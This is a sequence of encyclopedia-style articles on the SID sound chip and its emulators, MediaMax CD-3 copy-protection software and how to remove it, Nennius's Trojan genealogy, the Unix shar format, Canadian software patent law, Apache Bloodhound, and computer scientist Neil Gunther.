Well known composers of game music for this chip are Martin Galway, known for many titles, including Wizball, and Times of Lore, Rob Hubbard, known for titles such as ACE 2, Commando, Delta, International Karate, IK+, and Monty on the Run. Other noteworthies include Jeroen Tel (Cybernoid, Turbo Outrun, Robocop 3 and Myth), Ben Daglish (The Last Ninja, Jack the Nipper, Firelord, Gauntlet), David Dunn (Finders Keepers and Flight Path 737), David Whittaker (Speedball, BMX Simulator, Glider Rider) and Chris Hülsbeck (R-Type, Turrican and The Great Giana Sisters).
Emulation
The fact that many enthusiasts prefer the real chip sound over software emulators has led to several recording projects aiming to preserve the authentic sound of the SID chip for modern hardware.
The sid.oth4 project has over 380 songs of high quality MP3 available recorded on hardsid hardware and the SOASC= project has the entire High Voltage SID Collection (HVSC) released with 49 (over 35,000 songs) recorded from real Commodore 64s in a high quality MP3 file. Both projects emphasize the importance of preserving the authentic sound of the SID chip. In 2016, the Unepic Stoned High SID Collection (USHSC) was launched. It is a YouTube channel with over 50,000 SID tunes uploaded as single videos. The USHSC is based on both the SOASC= and HVSC, but also uploads recordings of recent SID music released at the Commodore Scene Database (CSDb) site. The channel features playlists containing roughly 5000 tunes each.
Software emulation
In 1989 on the Amiga computer, the demo "The 100 Most Remembered C64 Tunes" and later the PlaySID application was released, developed by Per Håkan Sundell and Ron Birk. This was one of the first attempts to emulate the SID in software only, and also introduced the file format for representing songs made on the C64 using the SID chip. This later spawned the creation of similar applications for other platforms as well as the creation of a community of people fascinated by SID music, resulting in The High Voltage SID Collection which contains over 45,000 SID tunes.
A SID file contains the 6510 program code and associated data needed to replay the music on the SID. The SID files have the MIME media type audio/prs.sid.
The actual file format of a SID file has had several versions. The older standard is PSID (current version V4). The newer standard, RSID, is intended for music that requires a more complete emulation of the Commodore 64 hardware.
The SID file format is not a native format used on the Commodore 64 or 128, but a format specifically created for emulator-assisted music players such as PlaySID , Sidplay and JSidplay2. However, there are loaders like RealSIDPlay and converters such as PSID64 that make it possible to play a substantial portion of SID files on original Commodore computers.
SIDPlayer, developed by Christian Bauer and released in 1996 for the BeOS operating system, was the first SID emulator to replicate the filter section of the SID chip using a second-order Infinite impulse response filter as an approximation.
In June 1998, a cycle-based SID emulator engine called reSID became available. The all-software emulator, available with C++ source code, is licensed under the GPL by the author, Dag Lem. In 2008, Antti Lankila significantly improved the filter and distortion simulation in reSID. The improvements were included in VICE version 2.1 as well.
In 2007 the JSidplay2 project was released, a pure Java based SID player developed by Ken Händel.
Hardware reimplementations
In 2008 the HyperSID project was released. HyperSID is a VSTi which acts like a MIDI controller for HyperSID hardware unit (synthesizer based on SID chip) and developed by HyperSynth company.
Hardware implementations using the SID chip
In 1989 Innovation Computer developed the Innovation Sound Standard, an IBM PC compatible sound card with a SID chip and a game port. MicroProse promised software support for the card, and Commodore BASIC programs that used SID required little conversion to run on GW-BASIC.
In 1997, an electronic musical instrument utilizing the SID chip as its synthesis engine was released. It is called the SidStation, built around the 6581 model SID chip (as opposed to the newer 8580), and it's produced by Swedish company Elektron. As the SID chip had been discontinued for years, Elektron allegedly bought up almost all of the remaining stock. In 2004, Elektron released the Monomachine pattern-based sequencer with optional keyboard. The Monomachine contains several synthesis engines, including an emulated 6581 oscillator using a DSP.
In 1999 HardSID, another PC sound card, was released. The card uses from one to four SID chips and allows a PC to utilize the sound capabilities of the chip directly, instead of by emulation via generic sound cards (e.g. SoundBlaster).
The Catweasel from German company Individual Computers, a PCI + Zorro multiformat floppy disk controller and digital joystick adapter for PCs, Macs, and Amigas, includes a hardware SID option, i.e. an option to insert one or two real SID chips in a socket for use when playing .MUS files.
The MIDIbox SID is a MIDI-controlled synthesizer which can contain up to eight SID chips. It is a free open source project using a PIC microcontroller. Control of the synthesizer is realized with software or via a control panel with knobs, LEDs, LCD, etc., which may optionally be mounted on a keyboardless Commodore 64 body.
The Prophet64 is a cartridge for the Commodore 64. It features four separate music applications, mimicking everything from modern sequencers to the Roland 303/909 series. With an optional User Port peripheral, the Prophet64 may synchronized to other equipment using DIN Sync standard (SYNC 24). The website now states "Prophet64 has been replaced with the MSSIAH."
The MSSIAH is a cartridge for the Commodore 64 that replaces the Prophet64.
Artist/hacker Paul Slocum developed the Cynthcart cartridge that enables you to turn your C64 into an analogue synthesizer. Its successor, Cynthcart 2, added MIDI in, out and thru ports.
The Parallel Port SID Interface allows those with very slim budgets to connect the SID chip to a PC.
In 2003 a SID interface (and software to play Commodore 64 tunes) was released for the Z80 based Sam Coupé computer supporting both the 6581 and the 8580.
In May 2009 the SID chip was interfaced to the BBC Micro and BBC Master range of computers via the 1 MHz bus allowing music written for the SID chip on the Commodore 64 to be ported and played on the BBC Micro.
In October 2009 thrashbarg's project interfaced an SID chip to an ATmega8 to play MIDI files on a MOS 6581 SID.
In March 2010 STG published the SIDBlaster/USB - an open source, open hardware implementation of the SID that connects to (and is powered by) a USB port, using an FTDI chip for the USB interface and a PIC to interface the SID.
In August 2010 SuperSoniqs published the Playsoniq, a cartridge for MSX computers, with (in addition to other features) a real SID on it, ready to use on any MSX machine.
In May 2015 Gianluca Ghettini developed SidBerry, an open source, open hardware board to interface a MOS 6581 SID chip to a RaspberryPi and play standard SID music files
In 2016 Thibaut Varene published exSID, a USB audio device that can control a real 6581 and 8580 SID chip and natively playback most SID tunes.
SID hardware clones
The SwinSID is hardware emulation of the SID using an Atmel AVR processor, also featuring a real SID player based on the Atmel AVR processor.
The V-SID 1.0 project (code name SID 6581D, 'D' for digital) from David was born in 2005. This project is a hardware emulation of the SID chip from the Bob Yannes's interview, datasheets. The V-SID 1.0 engine had been implemented in a FPGA EP1C12 Cyclone from ALTERA, on an ALTIUM development board, and emulates all the characteristics of the original SID, except the filter which is a digital version (IIR filter controlled by a CPU).
The PhoenixSID 65X81 project (2006) aimed to faithfully create the SID sound using modern hardware. The workings of a SID chip were recreated on an FPGA, based on interviews with the SID's creator, original datasheets, and comparisons with real SID chips. It was distinguished from similar attempts by its use of real analog circuitry instead of emulation for the legendary SID filter. However, the project was discontinued, because George Pantazopoulos, who was the head of this project, died on April 23, 2007, at the age of 29.
The C64 Direct-to-TV emulates large portions the SID hardware, minus certain features such as (most notably) the filters. It reduces the entire C64 to a small circuit that fits into a joystick while sacrificing some compatibility.
The SIDcog is a software SID emulator running on the Parallax Propeller. All three channels can be emulated on one of the Propeller's eight COG's.
The ARMSID is a "plug & play" replacement of the MOS 6581 and MOS 8580 with analog inputs support.
The FPGASID is a FPGA based SID replica providing high reproduction quality of the original device including all features such as the audio filters and the paddle registers. The device is a full featured stereo solution and can replace two SID chips in a single SID socket. Hardware base is an Altera MAX10 FPGA.
Trivia
The Swedish electronic music duo Carbon Based Lifeforms released a track titled "Mos 6581" on their album Hydroponic Garden in 2003.
See also
Sound chip
MOS Technology VIC – the combined graphics and sound chip of the VIC-20
Atari POKEY
MOS Technology 8364 "Paula"
Chiptune
References
Further reading
External links
SID in-depth information page
The 6581 SID Datasheet
SID programming info
MOS 8580 SID die shots
MOS Technology integrated circuits
Sound chips
Commodore 64
Commodore 64 music
Video game music file formats
Video game music technology
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https://en.wikipedia.org/wiki/MediaMax%20CD-3
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MediaMax CD-3
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MediaMax CD-3 is a software package created by SunnComm which was sold as a form of copy protection for compact discs. It was used by the record label RCA Records/BMG, and targets both Microsoft Windows and Mac OS X. Elected officials and computer security experts regard the software as a form of malware since its purpose is to intercept and inhibit normal computer operation without the user's authorization. MediaMax received media attention in late 2005 in fallout from the Sony XCP copy protection scandal.
MediaMax is a second-generation system meant to address the problems of earlier copy-preventing schemes, where many types of playback devices had difficulty reading discs in normal use. MediaMax was first used on Anthony Hamilton's Comin' From Where I'm From in the United States; the first US No. 1 CD to use it was Velvet Revolver's Contraband. (The European release of the Velvet Revolver album used Macrovision CDS-200 and the Japanese is without copy protection.)
Identifying MediaMax discs
Some BMG discs using the scheme have a label affixed to the front that states:
This CD is protected against unauthorized duplication. It is designed to play on standard playback devices and an appropriately configured computer (see system requirements on back). If you have questions or concerns visit www.sunncomm.com/support/bmg
A section on the back of some packages states, in part:
This CD is enhanced with MediaMax software. Windows compatible instructions: Insert disc into CD-ROM drive. Software will automatically install. If it doesn't, click on "LaunchCd.exe." MacOS instructions: Insert disc into CD-ROM drive. Click on "Start." Usage of the CD on your computer requires your acceptance of the End User License Agreement and installation of specific software contained on the CD.
Method of operation
The music on a MediaMax disc is contained in tracks as on a regular compact disc, while the DRM software is present in an additional data track. Therefore, such discs work with almost any CD playback device. Copy restriction is only enforced by the software on the disc: If the software is not installed, disc duplication is not inhibited.
On computers running Microsoft Windows, the typical installation vector is the AutoRun feature of the operating system. When a MediaMax disc is inserted into a Windows PC with AutoRun enabled, software on the disc called LaunchCd.exe installs a device driver that inhibits the ability of other software to directly read data from audio discs in the CD-ROM drive(s).
The installation program displays an end user license agreement (EULA) with options to accept or decline the agreement. The user is informed that they must accept the terms of this EULA to use the CD on their computer, but the DRM software is installed without notice, even if they decline, cancel, or terminate the program.
In Mac OS X, applications cannot run automatically when a disc is inserted, and furthermore when manually running the application, it cannot install anything on the system without consent, requiring administrative credentials from the user. There is no version of MediaMax for Linux or any other operating system.
Controversy
The software's propensity to permanently modify the computer's behaviour without knowledge or consent has caused controversy. MediaMax departs from the convention of digital rights management (DRM) software by ignoring a user's desire to decline the installation. While it displays a license agreement with options to accept or decline, the DRM is installed regardless of the user's choice. When this functionality was brought to SunnComm's attention, the Company resolved the problem by issuing an update that ensured that its DRM would never be installed on a user's computer should the EULA be subsequently declined by that user. This technology update was then applied to all previously sold music CDs (whose users had internet connectivity) as well as to all MediaMax CDs sold in the future.
Some artists whose albums were sold with the MediaMax software were dissatisfied that it was put on their compact discs without their consent. The rock band My Morning Jacket offered advice on their website on how to bypass MediaMax, which was included on their 2005 album Z, and also offered to burn individual copies of the album for fans, free of the copy-protection software.
Alternate options
Because of its dependence on AutoRun on Windows systems, the MediaMax restrictions can be bypassed by a conscientious user as follows.
Users concerned about installing software from discs without their permission can disable the AutoRun feature on their computer. Such software includes computer viruses (rarely), spyware, and DRM software such as MediaMax.
People who do not disable AutoRun can prevent the software from loading by holding down the shift key each time a disc is inserted.
Identification and removal
Windows PCs with MediaMax installed are identifiable by their having a Windows service installed named "sbcphid." MediaMax's stealth install provides no uninstall option, in keeping with the absence of notification that the installation happened. However, in contrast to the previous XCP copy protection components used by Sony/BMG, the Windows service that MediaMax installs can be safely and easily stopped, disabled and removed. Users with administrative privileges can accomplish this via Windows' Service Controller ("sc") command line utility (using the "stop" and "delete" arguments), after which MediaMax's driver file (sbcphid.sys) can be deleted from the Windows\System32\Drivers directory and additional files can be deleted from the Program Files\Common Files\SunnComm Shared\ directory.
To determine if MediaMax is installed on a Windows PC, one may launch a command prompt, from which the Service Control Manager can be queried. The command to test this is sc query sbcphid. If installed, sc stop sbcphid will halt the service, and sc delete sbcphid will prevent it from automatically starting on subsequent reboots.
Once installed, the MediaMax software looks for a watermark inside all raw CD audio to recognize protected content. If the software detects protected audio, it distorts the audio to prevent unauthorized copying. The watermark works by setting a sequence of low order bits to 1. This makes the watermark very brittle, and it will be defeated by most transformations of the audio, including converting it to MP3 and back.
When the MediaMax software is functioning as designed, it allows copying to a certain extent. Compressed audio is stored on the disc in Windows Media Audio (WMA) files. The following activities are allowed: Copying tracks to the hard drive for playback without the original CD, burning up to three copies of the CD, and sharing email links to DRM-protected tracks that expire after ten days. Finally, tracks may be downloaded to DRM-enabled portable players.
See also
List of compact discs sold with MediaMax CD-3
Extended Copy Protection
Cactus Data Shield
References
External links
CD DRM: Attacks on Disc Recognition
"Lessons from the Sony CD DRM Episode" (PDF format), by J. Alex Halderman and Edward Felten, February 14, 2006
Compact Disc and DVD copy protection
DRM for Windows
DRM for MacOS
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669092
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https://en.wikipedia.org/wiki/Trojan%20genealogy%20of%20Nennius
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Trojan genealogy of Nennius
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The Trojan genealogy of Nennius was written in the Historia Brittonum of Nennius and was created to merge Greek mythology with Christian themes. As a description of the genealogical line of Aeneas of Troy, Brutus of Britain, and Romulus and Remus, the founders of Rome, it is an example of the foundation genealogies found not only in early Irish, Welsh and Saxon texts but also in Roman sources.
As in all early Christian genealogies, it begins with God and goes through Noah before diverting to other regions. The line from God to Noah is from Genesis, chapter 5:
God created
Adam
Seth
Enos
Cainan
Mahalaleel
Jared
Enoch
Methuselah
Lamech
Noah
Japheth
As with most genealogies of Judeo-Christian origins, Nennius splits the line at this point. Hisicion, the father of Brutus of Britain, was descended from Javan on both sides. This is his paternal genealogical line:
Javan
Jobath
Bath
Hisrau
Esraa
Ra
Aber
Ooth
Ethec
Aurthack
Ecthactur
Mair
Semion
Boibus
Thoi
Ogomuin
Fethuir, who married Rhea Silvia, the daughter of Numa Pompilius
Alanus
Hisicion
Brutus
This line is the maternal line of Hisicion which includes the Trojan line:
Javan
Elisha
Dardanus
Tros, from whom Troy is named after.
Anchises
Aeneas
Ascanius
Numa Pompilius
Rhea Silvia, Numa's daughter and mother of Romulus and Remus.
Alanus
Hisicion
Brutus
These lines conflict somewhat with the ancestry laid out by Geoffrey of Monmouth in which he states Ascanius is the grandfather of Brutus.
Although he points out that there can never be proof, John Creighton suggests that the origin of this genealogy might be an early British foundation myth, surviving from around the early first century CE into the medieval period.
Professor Tim Murray writes that this Trojan foundation myth was not challenged until Polydore Vergil, historian of the early Tudor dynasty, questioned it in the 16th century.
The relationship between Alanus, Hisicion (Hisitio) and Brutus (Britto) comes from the Frankish Table of Nations and ultimately from Tacitus' Germania. Alanus is a corruption of Tacitus' Mannus and Hisicion is an invention of the Frankish Table to provide a name for the son from which the Istvaeones descended.
Footnotes
Geoffrey of Monmouth
Japheth
Medieval literature
Welsh mythology
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240107
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https://en.wikipedia.org/wiki/Shar
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Shar
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In the Unix operating system, shar (an abbreviation of shell archive) is an archive format created with the Unix shar utility. A shar file is a type of self-extracting archive, because it is a valid shell script, and executing it will recreate the files. To extract the files, only the standard Unix Bourne shell sh is usually required.
Note that the shar command is not specified by the Single Unix Specification, so it is not formally a component of Unix, but a legacy utility.
Details
While the shar format has the advantage of being plain text, it poses a risk due to being executable; for this reason the older and more general tar file format is usually preferred even for transferring text files. GNU provides its own version of shar in the GNU Sharutils collection.
unshar programs have been written for other operating systems but are not always reliable; shar files are shell scripts and can theoretically do anything that a shell script can do (including using incompatible features of enhanced or workalike shells), limiting their utility outside the Unix world.
The drawback of self-extracting shell scripts (any kind, not just shar) is that they may rely on a particular implementation of programs; shell archives created with older versions of makeself, for example, the original Unreal Tournament for Linux installer, fails to run on bash 3.x due to a change in how missing arguments to trap built-in command are handled.
History and variants
James Gosling is credited with writing the first version of the shar utility in 1982, and also wrote an early example (allegedly 1978-79) of the concept in the form of this simple shell script:
# shar -- Shell archiver
AR=$1
shift
for i do
echo a - $i
echo "echo x - $i" >>$AR
echo "cat >$i <<'!Funky!Stuff!'" >>$AR
cat $i >>$AR
echo "!Funky!Stuff!" >>$AR
done
The following variants of shar are known:
shar 1.x (1982) by Gosling. Public domain shell script.
Current FreeBSD shar. 3-clause BSD license, shell script. Adds md5sum.
shar2 or xshar (1988) by William Davidsen. Public domain, C program.
shar3 (1989) by Warren Tucker.
shar 3.49 (1990) by Richard H. Gumpertz. Adds uuencode support.
Current GNU sharutils. GPLv3, C program.
cshar (1984) by Michael A. Thompson and Mark Smith, now lost to bitrot. C program.
cshar (1988) by Rich Salz, C program. Likely influenced shar 3.49.
ccshar (1996), a modification to output a csh script instead. Rarely used on Usenet.
GNU is available as a separate package for Microsoft Windows as part of the UnxUtils collection of native Win32 ports of common GNU Unix-like utilities.
Similar formats
A version of the same concept, but for the VMS operating system, was written in 1987 by Michael Bednarek from The Melbourne Institute of Applied Economic and Social Research as a DCL script, VMS_SHAR.COM. This was later maintained and extended by James A. Gray from Xerox, and Andy Harper from King's College London.
makeself (2001–) is a shell script that generates self-extracting tarballs (, ) using the same shell script header technique. Using tar precludes makeself from being used in plain text directly, but the better compression and other functionalities has made it more popular in the 21st century among software vendors seeking to package Linux software.
See also
List of Unix commands
References
External links
Information about shar files (Carnegie Mellon)
GNU sharutils
Unix archivers and compression-related utilities
Archive formats
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39202669
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https://en.wikipedia.org/wiki/Software%20patents%20under%20Canadian%20patent%20law
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Software patents under Canadian patent law
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Neither computers nor software are specifically mentioned in the Canadian Patent Act. Canadian courts have held that the use of a computer in an invention neither lends, nor reduces patentability. Therefore, that an invention involves a computer is not determinative of patentability; instead, whether a computer-using invention is patentable turns on whether that invention meets the general requirements for patentability as would apply to any invention.
Law
Substantive law
Computers, software, or related terms do not appear anywhere in the Patent Act. Therefore, as with any other invention, to be patentable a computer-using invention must meet the general requirements for patentability of any invention as found in the Act.
"Invention" is defined in Section 2 of the Patent Act as:
<blockquote>"[A]ny new and useful art, process, machine, manufacture or composition of matter, or any new and useful improvement in any art, process, machine, manufacture or composition of matter".</blockquote>
So, any invention must be new and useful. Inventions must also be non-obvious as provided in section 28.3. Inventions must also fall into one of the five categories of patentable subject matter found in the definition of "invention" above.
The Patent Act has an additional prohibition in section 27(8) that "No patent shall be granted for any mere scientific principle or abstract theorem." This requirement, though it does not relate directly to software, has been found by the courts to limit the patentability of some computer-using inventions.
The above patentability requirements are general and apply to any invention. The case law and patent office practice determine how these general requirements are applied to patent applications for computer-using inventions.
Case law
Schlumberger Canada Ltd. v. Canada (Commissioner of Patents)
In 1981, the Federal Court of Appeal considered the question of the patentability of an invention that involved software in the case of Schlumberger. In Schlumberger, the applicant sought to patent a process for analysis of measurements from boreholes for oil and gas exploration. The application described a process where the measurements were processed by a computer for mathematical analysis and display to a human operator.
The court held, in the most often quoted passage of the decision, that the calculations involved in the present invention would, if done by a man, be "mathematical formulae and a series of purely mental operations". The court also found that a mathematical formula fell within the prohibition in the Patent Act against patents for scientific principles or abstract theorems. The court went on to find that "the fact that a computer is ... used to implement a discovery does not change the nature of that discovery." Therefore, the application was rejected as unpatentable for not falling within the definition "invention" found in the Patent Act.
The holding in Schlumberger is that the use of a computer neither adds to, nor subtracts from, the patentability of an alleged invention.
Amazon.com Inc. v. Canada (Commissioner of Patents)
In 2011, the Federal Court of Appeal again considered the question of the patentability of an invention that used software in the case of Amazon.com. In Amazon.com, the applicant sought a patent for a "one-click" method of online purchasing which allowed a user to make online purchases without the requirement of re-entering billing and shipping information. The patent had been rejected by the Commissioner of Patents as non-patentable subject matter.
In the Federal Court, the Patent Office's reasons for rejecting the patent, and in particular the finding that the subject of the claims was non-patentable subject matter, were found improper and the patent was directed back to the Commissioner for re-examination with the direction that the claims constitute patentable subject matter.
The Commissioner appealed the decision to the Federal Court of Appeal. The Federal Court found that the "determination of subject matter must be based on a purposive construction of the patent claims." In doing so, Sharlow J.A., substantially agreed with the reasons below. However, the court vacated the lower courts finding that the claims constituted patentable subject matter, finding instead that the trial judge did not have the benefit of expert evidence necessary to provide a "foundation of knowledge about the relevant art" to support claims construction. The court then ordered the Commissioner to re-examine the patent application on an expedited basis including construction of the claims.
In considering the case, the Court of Appeals addressed the earlier case of Schlumberger, and remarked that:
"It is arguable that the patent claims in issue in this case could fail on the same reasoning, depending upon whether a purposive construction of the claims in issue leads to the conclusion that Schlumberger cannot be distinguished because the only inventive aspect of the claimed invention is the algorithm – a mathematical formula – that is programmed into the computer to cause it to take the necessary steps to accomplish a one-click online purchase. On the other hand, it is also arguable that a purposive construction of the claims may lead to the conclusion that Schlumberger is distinguishable because a new one-click method of completing an online purchase is not the whole invention but only one of a number of essential elements in a novel combination. In my view, the task of purposive construction of the claims in this case should be undertaken anew by the Commissioner, with a mind open to the possibility that a novel business method may be an essential element of a valid patent claim."
After re-examination, the Amazon.com patent was issued by the Commissioner.
Canadian Patent Office practice
On March 8, 2013, the Canadian Patent Office announced changes in patent examination practice based on the ruling in the Amazon.com case.
The Patent Office published new guidelines for the determination of statutory subject matter based on a purposive construction of claims as guided in Amazon.com.
Concurrently, updated guidance on examination practice for computer-related inventions was also released.
Examination practice respecting purposive construction
On March 8, 2013, the Patent Office released a practice notice guiding examiners that, according to Amazon.com, the "identification of the actual invention" is "required to be grounded in a purposive construction of the patent claims". The notice lays out a set of guidelines for claim construction in examination, relying on the Supreme Court decisions in the related cases of Free World Trust and Whirlpool.
Computer-implemented inventions examination practice
On March 8, 2013, the Patent Office released a practice notice revising policy on examination of "computer-implemented inventions". The practice notice overrides previous sections of the Manual of Patent Office Practice (MOPOP) relating to "computer-implemented" inventions, including sections related to "examining computer claims." The practice notice instead guides that the "evaluation of the subject-matter of a claim for compliance with section 2 of the Patent Act'' is to be made on the basis of the essential elements as determined through a purposive construction."
Notably, the practice notice states that "where a computer is found to be an essential element of a construed claim, the claimed subject-matter will generally be statutory."
See also
Software patent
Subject matter in Canadian patent law
References
Canadian patent law
Software patent law
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38992341
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https://en.wikipedia.org/wiki/Apache%20Bloodhound
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Apache Bloodhound
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Apache Bloodhound is an open source web-based project management and bug tracking system. The program is built on top of Trac. It is developed and maintained by volunteers at the Apache Software Foundation.
The Bloodhound project was initially submitted to the Apache Incubator by WANdisco after integration with an issue tracker was the most requested feature for uberSVN. Bloodhound graduated from the incubator on 2013-03-20 and became an Apache Top Level Project.
As of August 27, 2019, Bloodhound is still available for download at the usual Apache mirror sites, but all of the support links to live.bloodhound.apache.org fail as unreachable. The Bloodhound project management committee voted unanimously on June 15, 2016, to shut down the project, but the board tabled the issue. Apache currently supports a similar product Apache Allura.
Bloodhound is written in the Python programming language and released under the Apache Software License.
Features
The software inherits features from Trac and initially set out to resolve three long-standing requests with Trac: management of multiple projects, ease of installation, ease of use and also supports embedding of Google gadgets.
In addition Bloodhound has integrated the Python library Whoosh in version 0.5, providing full text search and search navigation by facets and incorporate many plugins optional in Trac out of the box.
See also
Comparison of project management software
Comparison of issue-tracking systems
Software configuration management
Apache Allura
Kallithea
References
External links
Bloodhound
Free project management software
Free software programmed in Python
Free wiki software
Bug and issue tracking software
Cross-platform free software
2012 software
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12829834
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https://en.wikipedia.org/wiki/Neil%20J.%20Gunther
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Neil J. Gunther
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Neil Gunther (born 15 August 1950) is a computer information systems researcher best known internationally for developing the open-source performance modeling software Pretty Damn Quick and developing the Guerrilla approach to computer capacity planning and performance analysis. He has also been cited for his contributions to the theory of large transients in computer systems and packet networks, and his universal law of computational scalability.
Gunther is a Senior Member of both the Association for Computing Machinery (ACM) and the Institute of Electrical and Electronics Engineers (IEEE), as well as a member of the American Mathematical Society (AMS), American Physical Society (APS), Computer Measurement Group (CMG) and ACM SIGMETRICS.
He is currently focused on developing quantum information system technologies.
Biography
Gunther is an Australian of German and Scots ancestry, born in Melbourne on 15 August 1950. He attended Preston East Primary School from 1955 to 1956, and Balwyn North Primary School from 1956 until 1962. For his tenth birthday, Gunther received a copy of the now famous book entitled The Golden Book of Chemistry Experiments from an older cousin. Inspired by the book, he started working on various experiments, making use of various chemicals that could be found around in his house. After he spilled some potassium permanganate solution on his bedroom carpet his mother confined him to an alcove in the garage which he turned into a small laboratory, replete with industrial chemicals and second-hand laboratory glassware. Gunther was interested in finding out how things like detergents and oils were composed by cracking them in his fractionating column. He took particular interest in mixing paints for his art classes, as well as his chemistry classes in Balwyn High School. His father, being the Superintendent of Melbourne's electrical power station, borrowed an organic chemistry text from the chemists in the quality control laboratory. This ultimately led to an intense interest in synthesizing Azo dyes. At around age 14, Gunther attempted to predict the color of azo dyes based on the chromophore-auxochrome combination. Apart from drawing up empirical tables, this effort was largely unsuccessful due to his lack of knowledge of quantum theory.
Post-Doc years
Gunther taught physics at San Jose State University from 1980 to 1981. He then joined Syncal Corporation, a small company contracted by NASA and JPL to develop thermoelectric materials for their deep-space missions. Gunther was asked to analyze the thermal stability test data from the Voyager RTGs. He discovered that the stability of the silicon-germanium (Si-Ge) thermoelectric alloy was controlled by a soliton-based precipitation mechanism. JPL used his work to select the next generation of RTG materials for the Galileo mission launched in 1989.
Xerox years
In 1982, Gunther joined Xerox PARC to develop parametric and functional test software for PARC's small-scale VLSI design fabrication line. Ultimately, he was recruited onto the Dragon multiprocessor workstation project where he also developed the PARCbench multiprocessor benchmark. This was his first fore into computer performance analysis.
1989, he developed a Wick-rotated version of Richard Feynman's quantum path integral formalism for analyzing performance degradation in large-scale computer systems and packet networks.
Pyramid years
In 1990 Gunther joined Pyramid Technology (now part of Fujitsu Siemens Computers) where he held positions as Senior Scientist and Manager of the Performance Analysis Group that was responsible for attaining industry-high TPC benchmarks on their Unix multiprocessors. He also performed simulations for the design of the Reliant RM1000 parallel database server.
Consulting practice
Gunther founded Performance Dynamics Company as a sole proprietorship, registered in California in 1994, to provide consulting and educational services for the management of high performance computer systems with an emphasis on performance analysis and enterprise-wide capacity planning. He went on to release and develop his own open-source performance modeling software called "PDQ (Pretty Damn Quick)" around 1998. That software also accompanied his first textbook on performance analysis entitled The Practical Performance Analyst. Several other books have followed since then.
Current research interests
Quantum information systems
In 2004, Gunther has embarked on joint research into quantum information systems based on photonics. During the course of his research in this area, he has developed a theory of photon bifurcation that is currently being tested experimentally at École Polytechnique Fédérale de Lausanne. This represents yet another application of path integral formulation to circumvent the wave-particle duality of light.
In its simplest rendition, this theory can be considered as providing the quantum corrections to the Abbe-Rayleigh diffraction theory of imaging and the Fourier theory of optical information processing.
Performance visualization
Inspired by the work of Tukey, Gunther explored ways to help systems analyst visualize performance in a manner similar to that already available in scientific visualization and information visualization. In 1991, he developed a tool called Barry, which employs barycentric coordinates to visualize sampled CPU usage data on large-scale multiprocessor systems. More recently, he has applied the same 2-simplex barycentric coordinates to visualizing the Apdex application performance metric, which is based on categorical response time data. A barycentric 3-simplex (a tetrahedron), that can be swivelled on the computer screen using a mouse, has been found useful for visualizing packet network performance data. In 2008, he co-founded the PerfViz google group.
Universal Law of Computational Scalability
The throughput capacity X(N) of a computational platform is given by:
where N represents either the number of physical processors in the hardware configuration or the number of users driving the software application. The parameters , and respectively represent the levels of contention (e.g., queueing for shared resources), coherency delay (i.e., latency for data to become consistent) and concurrency (or effective parallelism) in the system. The parameter also quantifies the retrograde throughput seen in many stress tests but not accounted for in either Amdahl's law or event-based simulations.
This scalability law was originally developed by Gunther in 1993 while he was employed at Pyramid Technology. Since there are no topological dependencies, C(N) can model symmetric multiprocessors, multicores, clusters, and GRID architectures. Also, because each of the three terms has a definite physical meaning, they can be employed as a heuristic to determine where to make performance improvements in hardware platforms or software applications.
At a more fundamental level, the above equation can be derived from the Machine Repairman queueing model:
Theorem (Gunther 2008): The universal scalability law is equivalent to the synchronous queueing bound on throughput in a modified Machine Repairman with state-dependent service times.
The following corollary (Gunther 2008 with ) corresponds to Amdahl's law:
Theorem (Gunther 2002): Amdahl's law for parallel speedup is equivalent to the synchronous queueing bound on throughput in a Machine Repairman model of a multiprocessor.
Awards
Senior Member ACM (elected April 2009).
Senior Member IEEE (elected February 2009).
Recipient of the A. A. Michelson Award, December 2008.
Summer Research Institute visitor, EPFL 2006 and 2007.
Lecturer, Western Institute of Computer Science, Stanford University, 1997–2000.
Best paper award, CMG conference 1996.
Visiting Scholar in Materials Science, Stanford University, 1981–1982.
Science Research Council Studentship, U.K. 1976–1980.
Commonwealth Postgraduate Scholarship, Australia 1975–1976.
Selected bibliography
Theses
The Feynman Path Integral in Non-Relativistic Quantum Mechanics and Quantum Electrodynamics, La Trobe University (AUS),
BSc Honors dissertation, Department of Physics, Oct. (1974)
Dynamical Symmetry Groups: The Study and Interpretation of Certain Invariants as Group Generators in Quantum Mechanics, La Trobe
University (AUS), MSc dissertation, Department of Applied Mathematics, Nov. (1976)
Broken Dynamical Symmetries in Quantum Field Theory and Phase Transition Phenomena, University of Southampton (U.K.), PhD
dissertation, Department of Physics, Dec. (1979)
Books
The Practical Performance Analyst, McGraw-Hill, New York, New York 1998, (Out of print)
The Practical Performance Analyst, iUniverse.com Press, Lincoln, Nebraska 2000, (Reprint edition)
Performance Engineering: State of the Art and Current Trends, Lecture Notes in Computer Science, Springer-Verlag
Heidelberg, Germany, October 2001, (Contributed chapter)
Analyzing Computer System Performance with Perl::PDQ, Springer, Heidelberg 2005,
Guerrilla Capacity Planning, Springer, Heidelberg 2007,
Invited presentations
Goldstone Modes in First-order Phase Transitions, Sixth West Coast Conference on Statistical Mechanics, IBM Research Laboratories, San Jose, June (1980)
Instanton Techniques for Queueing Models of Large Computer Systems: Getting a Piece of the Action, SIAM Conference on Applied Probability in Science and Engineering, New Orleans, Louisiana, March (1990)
(Numerical) Investigations into Physical Power-law Models of Internet Traffic Using the Renormalization Group, IFORS Conference of Operations Research Societies, Honolulu, Hawaii, 11–15 July (2005)
Papers
Goldstone Modes in Vacuum Decay and First-order Phase Transitions, Journal of Physics, A, 13, 1755-1767 (1980)
A Benchmark for Image Retrieval using Distributed Systems over the Internet (2000 with G. Beretta)
Performance and Scalability Models for a Hypergrowth e-Commerce Web Site (2000)
Characterization of the Burst Stabilization Protocol for the RR/CICQ Switch (2003 with K. J. Christensen and K. Yoshigoe)
Unification of Amdahl's Law, LogP and Other Performance Models for Message-Passing Architectures (2005)
Towards Practical Design Rules for Quantum Communications and Quantum Imaging Devices (2005 with G. Beretta)
The Virtualization Spectrum from Hyperthreads to GRIDs,'' Proc. CMG Conf., Reno, Nevada, Dec. (2006)
References
External links
Performance Dynamics Company(SM)
The Mathematics Genealogy Project
M.Sc. Thesis at National Library of Australia
List of papers on arXiv
List of papers on computer performance analysis
Dirac Number 2
Guerrilla Manifesto
PDQ performance modeling software
Performance Visualization
1950 births
Living people
Australian computer scientists
Australian expatriates in the United States
Australian guitarists
Australian physicists
American computer scientists
21st-century American physicists
American technology writers
American textbook writers
American male non-fiction writers
Scientists from Melbourne
Computer science educators
Information systems researchers
Perl writers
Scientists at PARC (company)
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1621271
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https://en.wikipedia.org/wiki/International%20Society%20of%20Automation
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International Society of Automation
